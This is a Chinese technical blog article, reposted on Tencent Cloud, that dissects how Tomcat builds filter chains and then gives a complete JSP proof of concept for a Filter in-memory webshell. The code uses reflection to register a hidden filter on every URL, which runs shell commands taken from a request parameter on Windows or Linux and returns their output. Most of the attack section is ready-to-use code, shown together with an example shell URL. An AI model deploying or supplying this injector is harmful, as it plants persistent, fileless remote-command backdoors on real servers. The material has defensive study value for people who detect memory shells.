前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Tomcat内存马之Filter内存马剖析

Tomcat内存马之Filter内存马剖析

作者头像
Al1ex
发布于 2025-02-08 06:25:02
发布于 2025-02-08 06:25:02
19100
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
基本介绍

在Tomcat中Filter是一种可用于拦截HTTP请求和响应的组件,Filter可以在请求到达Servlet之前对请求进行预处理,在响应返回给客户端之前对响应进行后处理,从而实现一些共性的处理逻辑,比如:日志记录、权限校验、字符编码转换等

动态注册

Apache Tomcat 7开始支持Servlet 3.0,Servlet 3.0引入了一项重要的特性——动态注册功能,这一功能使得开发者能够在运行时动态地注册Servlets、Fliter、Listener,而无需在web.xml配置文件中进行静态配置,这种灵活性大大简化了Web应用程序的管理和扩展,同时也为我们构造Tomcat中间件内存马奠定了基础,而无论是使用xml配置文件还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向容器中进行注册,Servlet、Listener、Filter都是由javax.servlet.ServletContext去加载,从下面我们可以看到ServletContext提供了add*/create*方法来实现动态注册的功能

接口示例

Tomcat中的Filter需要实现javax.servlet.Filter接口,该接口包括三个方法:

  • init(FilterConfig filterConfig):Filter被初始化时调用,可以获取Filter的配置信息
  • doFilter(ServletRequest request, ServletResponse response, FilterChain chain):在该方法中编写拦截逻辑,通过调用chain.doFilter(request, response)可以将请求传递给下一个Filter或Servlet
  • destroy():在Filter被销毁时调用,可以进行资源释放等操作
过滤处理

Filter容器用于对请求和响应进行过滤和处理,流程大致如下所示:

简易示例

下面我们先写一个简单的Filter:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.al1ex.servlet;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/test")
public class Shell_Filter implements Filter {

    public void init(FilterConfig filterConfig) {
        System.out.println("[*] Filter初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("[*] Filter执行过滤操作");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    public void destroy() {
        System.out.println("[*] Filter已销毁");
    }
}

从下面可以看到这里跑起来之后,控制台输出[*] Filter初始化创建,当我们访问/test路由的时候,控制台继续输出[*] Filter执行过滤操作,当我们结束tomcat的时候,会触发destroy方法,从而输出[*] Filter已销毁

调试分析

我们在上面的doFilter函数这里下断点进行调试

随后可以获取到下面的调用栈信息:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
doFilter:17, Shell_Filter (com.al1ex.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1626, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

随后我们回退并跟进org.apache.catalina.core.StandardWrapperValve#invoke,在这里跟进变量filterChain,找到定义处的代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

随后我们查看该方法

(org.apache.catalina.core.ApplicationFilterFactory#createFilterChain):

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
        if (servlet == null) {
            return null;
        } else {
            ApplicationFilterChain filterChain = null;
            if (request instanceof Request) {
                Request req = (Request)request;
                if (Globals.IS_SECURITY_ENABLED) {
                    filterChain = new ApplicationFilterChain();
                } else {
                    filterChain = (ApplicationFilterChain)req.getFilterChain();
                    if (filterChain == null) {
                        filterChain = new ApplicationFilterChain();
                        req.setFilterChain(filterChain);
                    }
                }
            } else {
                filterChain = new ApplicationFilterChain();
            }

            filterChain.setServlet(servlet);
            filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
            StandardContext context = (StandardContext)wrapper.getParent();
            FilterMap[] filterMaps = context.findFilterMaps();
            if (filterMaps != null && filterMaps.length != 0) {
                DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
                String requestPath = null;
                Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
                if (attribute != null) {
                    requestPath = attribute.toString();
                }

                String servletName = wrapper.getName();
                FilterMap[] arr$ = filterMaps;
                int len$ = arr$.length;

                int i$;
                FilterMap filterMap;
                ApplicationFilterConfig filterConfig;
                for(i$ = 0; i$ < len$; ++i$) {
                    filterMap = arr$[i$];
                    if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
                        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                        if (filterConfig != null) {
                            filterChain.addFilter(filterConfig);
                        }
                    }
                }

                arr$ = filterMaps;
                len$ = arr$.length;

                for(i$ = 0; i$ < len$; ++i$) {
                    filterMap = arr$[i$];
                    if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
                        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                        if (filterConfig != null) {
                            filterChain.addFilter(filterConfig);
                        }
                    }
                }

                return filterChain;
            } else {
                return filterChain;
            }
        }
    }

我们在该方法和下面定义filterMaps那行下断点进行调试,可以看到这段代码先是判断servlet是否为空,如果是就表示没有有效的servlet,无法创建过滤器链,然后根据传入的ServletRequest的类型来分类处理,如果是Request类型并且启用了安全性,那么就创建一个新的ApplicationFilterChain,如果没启用就尝试从请求中获取现有的过滤器链,如果不存在就创建一个新的,接着是设置过滤器链的Servlet和异步支持属性,关键点在于后面从Wrapper中获取父级上下文(StandardContext),然后获取该上下文中定义的过滤器映射数组(FilterMap),最后遍历过滤器映射数组并根据请求的DispatcherType和请求路径匹配过滤器,随后将匹配的过滤器添加到过滤器链中,最终返回创建或更新后的过滤器链

从createFilterChain函数我们可以清晰地看到filterChain对象的创建过程:

  • 首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
  • 随后通过wrapper.getParent()函数来获取StandardContext对象
  • 然后获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
  • 紧接着根据Filter的名称在StandardContext中获取FilterConfig
  • 最后通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中

随后我们继续跟进这里的FilterChain.doFilter

可以看到这里又调用了internalDoFilter

在这个方法中会依次拿到filterConfig和filter:

在这里我们的目的是打入内存马,也就是要动态地创建一个Filter,回顾之前的调试过程我们发现在createFilterChain那个函数里面有两个关键点:org.apache.catalina.core.StandardContext#findFilterMaps和findFilterConfig

实现代码如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public FilterMap[] findFilterMaps() {
    return filterMaps.asArray();
}   

public FilterConfig findFilterConfig(String name) {
    return (FilterConfig)this.filterConfigs.get(name);
}

那么也就是说我们只需要查找到现有的上下文,然后往里面插入我们自定义的恶意过滤器映射和过滤器配置就可以实现动态添加过滤器了,那也就是说我们现在的问题就转化为如何添加filterMap和filterConfig,我们搜索关键词addFilterMap即可看到在StandardContext中有两个相关的方法——addFilterMap和addFilterMapBefore,其中addFilterMap是在一组映射末尾添加新的我们自定义的新映射,而addFilterMapBefore则会自动把我们创建的filterMap丢到第一位去无需再手动排序:

在这里我们跟进addFilterMapBefore可以看到此函数中第一步是先执行org.apache.catalina.core.StandardContext#validateFilterMap这个函数,从下面可以看到如果要使用addFilterMapBefore,那么我们就必须要保证它在根据filterName找filterDef的时候能找到,也就是说我们还得自定义filterDef并把它加入到filterDefs:

添加我们可以通过org.apache.catalina.core.StandardContext#addFilterDef来实现

随后我们还得去找寻filterConfig如何添加,经过搜索发现不存在类似上面的addFilterConfig这种方法

但是有filterStart和filterStop这两个方法:

源代码如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    public boolean filterStart() {
        if (this.getLogger().isDebugEnabled()) {
            this.getLogger().debug("Starting filters");
        }

        boolean ok = true;
        synchronized(this.filterConfigs) {
            this.filterConfigs.clear();
            Iterator i$ = this.filterDefs.entrySet().iterator();

            while(i$.hasNext()) {
                Map.Entry<String, FilterDef> entry = (Map.Entry)i$.next();
                String name = (String)entry.getKey();
                if (this.getLogger().isDebugEnabled()) {
                    this.getLogger().debug(" Starting filter '" + name + "'");
                }

                try {
                    ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
                    this.filterConfigs.put(name, filterConfig);
                } catch (Throwable var8) {
                    Throwable t = var8;
                    t = ExceptionUtils.unwrapInvocationTargetException(t);
                    ExceptionUtils.handleThrowable(t);
                    this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
                    ok = false;
                }
            }

            return ok;
        }
    }

    public boolean filterStop() {
        if (this.getLogger().isDebugEnabled()) {
            this.getLogger().debug("Stopping filters");
        }

        synchronized(this.filterConfigs) {
            Iterator i$ = this.filterConfigs.entrySet().iterator();

            while(i$.hasNext()) {
                Map.Entry<String, ApplicationFilterConfig> entry = (Map.Entry)i$.next();
                if (this.getLogger().isDebugEnabled()) {
                    this.getLogger().debug(" Stopping filter '" + (String)entry.getKey() + "'");
                }

                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)entry.getValue();
                filterConfig.release();
            }

            this.filterConfigs.clear();
            return true;
        }
    }

到这里可以看到如果要添加filterConfig,那么就只能通过反射的方法去获取相关属性并添加进去

三个Filter

下面我们看一下FilterConfig、FilterDef和FilterMaps:

在我们调试跟进createFilterChain函数时,其实我们是能看到此时的上下文对象StandardContext是包含了这三者的:

filterConfigs

filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息:

其中filterDef存放了filter的定义,包括filterClass、filterName等信息,对应的其实就是web.xml中的<filter>标签

filterDefs

filterDefs是一个HashMap,它以键值对的形式存储filterDef

filterMaps

filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签

filterMaps必要的属性为dispatcherMapping、filterName、urlPatterns

动态注册

下面我们的任务就是构造含有恶意filter的FilterMaps和FilterConfig对象并将FilterConfig添加到filter链,而经过上面的分析,我们可以总结出动态添加恶意Filter的思路:

  • 获取StandardContext
  • 继承并编写一个恶意filter
  • 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
  • 实例化一个FilterMap类并将我们的Filter和urlpattern相对应,使用addFilterMapBefore添加到StandardContext.filterMaps
  • 使用反射获取filterConfigs,实例化一个FilterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDefs,存放到filterConfig中
第一个任务

首先第一个任务就是要获取一个StandardContext,这个和之前的《Tomcat内存马之Servlet》中的操作一样,这里先获取当前的servlet上下文并拿到其私有字段context,然后设置可访问,这样就可以通过反射这个context字段的值,这个值是一个ApplicationContext对象,接着获取ApplicationContext的私有字段context并设置可访问,然后获取ApplicationContext的context字段的值——StandardContext对象

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
   //获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

随后获取StandardContext的私有字段filterConfigs,设置可访问之后通过反射获取StandardContext的filterConfigs字段的值

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    //使用反射获取filterConfigs
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
第二个任务

第二个任务是编写一个恶意的Filter

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) {
            }

            @Override
            public void destroy() {
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
                String cmd = httpServletRequest.getParameter("cmd");
                if(System.getProperty("os.name").toLowerCase().contains("windows")) {
                    InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                    Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("GBK");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                } else if(System.getProperty("os.name").toLowerCase().contains("linux")) {
                    InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}).getInputStream();
                    Scanner s = new Scanner(in, "UTF-8").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("UTF-8");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
        };
其他的任务

随后定义我们自己的filterDef和FilterMap并加入到srandardContext中,接着反射获取ApplicationFilterConfig类的构造函数并将构造函数设置为可访问,然后创建了一个ApplicationFilterConfig对象的实例,接着将刚刚创建的实例添加到过滤器配置的Map中,使用filterName为键,这样就可以将动态创建的过滤器配置信息加入应用程序的全局配置中

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
        //定义filterDef和FilterMap并加入到srandardContext中
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(filterName, applicationFilterConfig);
        out.print("[+]&nbsp;&nbsp;&nbsp;&nbsp;Malicious filter injection successful!<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Filter name: " + filterName + "<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Below is a list displaying filter names and their corresponding URL patterns:");
        out.println("<table border='1'>");
        out.println("<tr><th>Filter Name</th><th>URL Patterns</th></tr>");

        List<String[]> allUrlPatterns = new ArrayList<>();
        for (Object filterConfigObj : filterConfigs.values()) {
            if (filterConfigObj instanceof ApplicationFilterConfig) {
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigObj;
                String filtername = filterConfig.getFilterName();
                FilterDef filterdef = standardContext.findFilterDef(filtername);
                if (filterdef != null) {
                    FilterMap[] filterMaps = standardContext.findFilterMaps();
                    for (FilterMap filtermap : filterMaps) {
                        if (filtermap.getFilterName().equals(filtername)) {
                            String[] urlPatterns = filtermap.getURLPatterns();
                            allUrlPatterns.add(urlPatterns); // 将当前迭代的urlPatterns添加到列表中

                            out.println("<tr><td>" + filtername + "</td>");
                            out.println("<td>" + String.join(", ", urlPatterns) + "</td></tr>");
                        }
                    }
                }
            }
        }
        out.println("</table>");
        for (String[] urlPatterns : allUrlPatterns) {
            for (String pattern : urlPatterns) {
                if (!pattern.equals("/*")) {
                    out.println("[+]&nbsp;&nbsp;&nbsp;&nbsp;shell: http://localhost:8080/ServletTest" + pattern + "?cmd=ipconfig<br>");
                }
            }
        }
    }
完整POC

下面是完整的内存马示例代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>

<%
    //获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    //使用反射获取filterConfigs
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);

    //获取filterConfigs、构造filterName
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    String filterName = getRandomString();

    //继承并编写一个恶意filter
    if (filterConfigs.get(filterName) == null) {
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) {
            }

            @Override
            public void destroy() {
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
                String cmd = httpServletRequest.getParameter("info");
                if(System.getProperty("os.name").toLowerCase().contains("windows")) {
                    InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                    Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("GBK");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                } else if(System.getProperty("os.name").toLowerCase().contains("linux")) {
                    InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}).getInputStream();
                    Scanner s = new Scanner(in, "UTF-8").useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.setCharacterEncoding("UTF-8");
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
        };

        //定义filterDef和FilterMap并加入到srandardContext中
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(filterName, applicationFilterConfig);
        out.print("Malicious filter injection successful!");
    }
%>
<%!
    private String getRandomString() {
        String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        StringBuilder randomString = new StringBuilder();
        for (int i = 0; i < 8; i++) {
            int index = (int) (Math.random() * characters.length());
            randomString.append(characters.charAt(index));
        }
        return randomString.toString();
    }
%>

执行并访问如下所示:

命令执行:

参考连接

https://www.cnblogs.com/xfeiyun/p/16742474.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-02-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
如何实现马尔可夫链蒙特卡罗MCMC模型、Metropolis算法?
这只是众多算法之一。这个术语代表“马尔可夫链蒙特卡洛”,因为它是一种使用“马尔可夫链”(我们将在后面讨论)的“蒙特卡罗”(即随机)方法。MCMC只是蒙特卡洛方法的一种,尽管可以将许多其他常用方法看作是MCMC的简单特例。
拓端
2021/12/15
1.3K0
如何实现马尔可夫链蒙特卡罗MCMC模型、Metropolis算法?
matlab用马尔可夫链蒙特卡罗 (MCMC) 的Logistic逻辑回归模型分析汽车实验数据|附代码数据
此示例说明如何使用逻辑回归模型进行贝叶斯推断 ( 点击文末“阅读原文”获取完整代码数据 )。
拓端
2023/08/29
3890
R语言MCMC:Metropolis-Hastings采样用于回归的贝叶斯估计|附代码数据
如果需要计算有复杂后验pdf p(θ| y)的随机变量θ的函数f(θ)的平均值或期望值。
拓端
2023/04/28
3850
复现经典:《统计学习方法》第19章 马尔可夫链蒙特卡罗法
随机抽样是蒙特卡罗法的一种应用,有直接抽样法、接受拒绝抽样法等。接受拒绝法的基本想法是,找一个容易抽样的建议分布,其密度函数的数倍大于等于想要抽样的概率分布的密度函数。按照建议分布随机抽样得到样本,再按要抽样的概率分布与建议分布的倍数的比例随机决定接受或拒绝该样本,循环执行以上过程。
黄博的机器学习圈子
2020/06/11
1.1K0
复现经典:《统计学习方法》第19章 马尔可夫链蒙特卡罗法
用Python入门不明觉厉的马尔可夫链蒙特卡罗(附案例代码)
大数据文摘作品 编译:Niki、张南星、Shan LIU、Aileen 这篇文章让小白也能读懂什么是人们常说的Markov Chain Monte Carlo。 在过去几个月里,我在数据科学的世界里反复遇到一个词:马尔可夫链蒙特卡洛(Markov Chain Monte Carlo , MCMC)。在我的研究室、podcast和文章里,每每遇到这个词我都会“不明觉厉”地点点头,觉得这个算法听起来很酷,但每次听人提起也只是有个模模糊糊的概念。 我屡次尝试学习MCMC和贝叶斯推论,而一拿起书,又很快就放弃了。无
大数据文摘
2018/05/23
1.2K0
R语言MCMC:Metropolis-Hastings采样用于回归的贝叶斯估计
如果需要计算有复杂后验pdf p(θ| y)的随机变量θ的函数f(θ)的平均值或期望值。
拓端
2021/01/29
1.3K0
R语言MCMC:Metropolis-Hastings采样用于回归的贝叶斯估计
MATLAB随机波动率SV、GARCH用MCMC马尔可夫链蒙特卡罗方法分析汇率时间序列|附代码数据
最近我们被客户要求撰写关于波动率的研究报告。 波动率是一个重要的概念,在金融和交易中有许多应用。它是期权定价的基础。波动率还可以让您确定资产配置并计算投资组合的风险价值 (VaR)。
拓端
2022/11/16
7100
聊一聊贝叶斯和MCMC......
作者 | 徐炎琨 来源 | 知乎问答 整理 | AI科技大本营 ‍‍这是这个笔记,是关于贝叶斯和MCMC一些数学原理的讲解和代码的实现,希望能够深入浅出,叙述的容易让人理解。… ▌浅谈贝叶斯 不论是学习概率统计还是机器学习的过程中,贝叶斯总是是绕不过去的一道坎,大部分人在学习的时候都是在强行地背公式和套用方法,没有真正去理解其牛逼的思想内涵。我看了一下 Chalmers 一些涉及到贝叶斯统计的课程,content 里的第一条都是 Philosophy of Bayesian statistics。
昱良
2018/06/25
1.1K0
MCMC(一)蒙特卡罗方法
    作为一种随机采样方法,马尔科夫链蒙特卡罗(Markov Chain Monte Carlo,以下简称MCMC)在机器学习,深度学习以及自然语言处理等领域都有广泛的应用,是很多复杂算法求解的基础。比如我们前面讲到的分解机(Factorization Machines)推荐算法,还有前面讲到的受限玻尔兹曼机(RBM)原理总结,都用到了MCMC来做一些复杂运算的近似求解。下面我们就对MCMC的原理做一个总结。
刘建平Pinard
2018/08/14
1.1K0
MCMC(一)蒙特卡罗方法
MCMC、蒙特卡洛近似和Metropolis算法简介
MCMC 是Markov Chain Monte Carlo 的简称,但在传统模拟中有一个很重要的假设是样本是独立的(independent samples),这一点在贝叶斯统计尤其是高纬度的模型中很难做到。所以MCMC的目的就是运用蒙特卡洛模拟出一个马可链(Markov chain)。
deephub
2020/11/02
1.3K0
MCMC、蒙特卡洛近似和Metropolis算法简介
一份数学小白也能读懂的「马尔可夫链蒙特卡洛方法」入门指南
IT派 - {技术青年圈} 持续关注互联网、大数据、人工智能领域 大多数时候,贝叶斯统计在结果在最好的情况下是魔法,在最糟糕时是一种完全主观的废话。在用到贝叶斯方法的理论体系中,马尔可夫链蒙特卡洛方法尤其神秘。 这篇文章将介绍 马尔可夫链蒙特卡洛方法 ,极其背后的基本数学推理。 >>>> 首先,什么是 马尔可夫链蒙特卡洛(MCMC) 方法呢? 最简短的回答就是: “MCMC就是一种通过在概率空间中随机采样来近似感兴趣参数的后验分布的方法” 在这篇文章中,我不用任何数学知识就可以解释上面这个简短的答案。
IT派
2018/03/27
1.1K0
一份数学小白也能读懂的「马尔可夫链蒙特卡洛方法」入门指南
MCMC原理解析(马尔科夫链蒙特卡洛方法)
马尔科夫链蒙特卡洛方法(Markov Chain Monte Carlo),简称MCMC,MCMC算法的核心思想是我们已知一个概率密度函数,需要从这个概率分布中采样,来分析这个分布的一些统计特性,然而这个这个函数非常之复杂,怎么去采样?这时,就可以借助MCMC的思想。
种花家的奋斗兔
2020/11/13
2.8K0
MCMC原理解析(马尔科夫链蒙特卡洛方法)
R语言BUGS/JAGS贝叶斯分析: 马尔科夫链蒙特卡洛方法(MCMC)采样|附代码数据
在许多情况下,我们没有足够的计算能力评估空间中所有n维像素的后验概率 。在这些情况下,我们倾向于利用称为Markov-Chain Monte Carlo 算法的程序 。此方法使用参数空间中的随机跳跃来(最终)确定后验分布(点击文末“阅读原文”获取完整代码数据)。
拓端
2022/10/28
1.7K0
马尔可夫链蒙特卡罗法(Markov Chain Monte Carlo,MCMC)
蒙特卡罗法(Monte Carlo method),也称为统计模拟方法(statistical simulation method),是通过从概率模型的随机抽样进行近似数值计算的方法
Michael阿明
2020/07/13
1.7K0
马尔可夫链蒙特卡罗法(Markov Chain Monte Carlo,MCMC)
R语言随机波动模型SV:马尔可夫蒙特卡罗法MCMC、正则化广义矩估计和准最大似然估计上证指数收益时间序列|附代码数据
本文做SV模型,选取马尔可夫蒙特卡罗法(MCMC)、正则化广义矩估计法和准最大似然估计法估计。
拓端
2023/09/01
2540
一份数学小白也能读懂的「马尔可夫链蒙特卡洛方法」入门指南
选自Medium 作者:Ben Shaver 机器之心编译 参与:黄小天、刘晓坤 在众多经典的贝叶斯方法中,马尔可夫链蒙特卡洛(MCMC)由于包含大量数学知识,且计算量很大,而显得格外特别。本文反其道而行之,试图通过通俗易懂且不包含数学语言的方法,帮助读者对 MCMC 有一个直观的理解,使得毫无数学基础的人搞明白 MCMC。 在我们中的很多人看来,贝叶斯统计学家不是巫术师,就是完全主观的胡说八道者。在贝叶斯经典方法中,马尔可夫链蒙特卡洛(Markov chain Monte Carlo/MCMC)尤其神秘,
机器之心
2018/05/11
1.6K0
R语言BUGS/JAGS贝叶斯分析: 马尔科夫链蒙特卡洛方法(MCMC)采样|附代码数据
最近我们被客户要求撰写关于BUGS/JAGS贝叶斯分析的研究报告,包括一些图形和统计输出。
拓端
2023/06/22
3000
MATLAB随机波动率SV、GARCH用MCMC马尔可夫链蒙特卡罗方法分析汇率时间序列|附代码数据
波动率是一个重要的概念,在金融和交易中有许多应用。它是期权定价的基础。波动率还可以让您确定资产配置并计算投资组合的风险价值 (VaR)
拓端
2022/12/19
4700
R语言贝叶斯MCMC:用rstan建立线性回归模型分析汽车数据和可视化诊断|附代码数据
尽管Stan提供了使用其编程语言的文档和带有例子的用户指南,但对于初学者来说,这可能是很难理解的。
拓端
2023/02/14
2.2K0
教程 | 通过Python实现马尔科夫链蒙特卡罗方法的入门级应用
选自TowardsDataScience 作者:William Koehrsen 机器之心编译 参与:陈韵竹、黄小天 通过把马尔科夫链蒙特卡罗(MCMC)应用于一个具体问题,本文介绍了 Python 中 MCMC 的入门级应用。机器之心对本文进行了编译介绍。 GitHub 地址:https://github.com/WillKoehrsen/ai-projects/blob/master/bayesian/bayesian_inference.ipynb 过去几月中,我总是反复遇到同一个数据科学术语:马尔科
机器之心
2018/05/10
2.4K1
推荐阅读
如何实现马尔可夫链蒙特卡罗MCMC模型、Metropolis算法?
1.3K0
matlab用马尔可夫链蒙特卡罗 (MCMC) 的Logistic逻辑回归模型分析汽车实验数据|附代码数据
3890
R语言MCMC:Metropolis-Hastings采样用于回归的贝叶斯估计|附代码数据
3850
复现经典:《统计学习方法》第19章 马尔可夫链蒙特卡罗法
1.1K0
用Python入门不明觉厉的马尔可夫链蒙特卡罗(附案例代码)
1.2K0
R语言MCMC:Metropolis-Hastings采样用于回归的贝叶斯估计
1.3K0
MATLAB随机波动率SV、GARCH用MCMC马尔可夫链蒙特卡罗方法分析汇率时间序列|附代码数据
7100
聊一聊贝叶斯和MCMC......
1.1K0
MCMC(一)蒙特卡罗方法
1.1K0
MCMC、蒙特卡洛近似和Metropolis算法简介
1.3K0
一份数学小白也能读懂的「马尔可夫链蒙特卡洛方法」入门指南
1.1K0
MCMC原理解析(马尔科夫链蒙特卡洛方法)
2.8K0
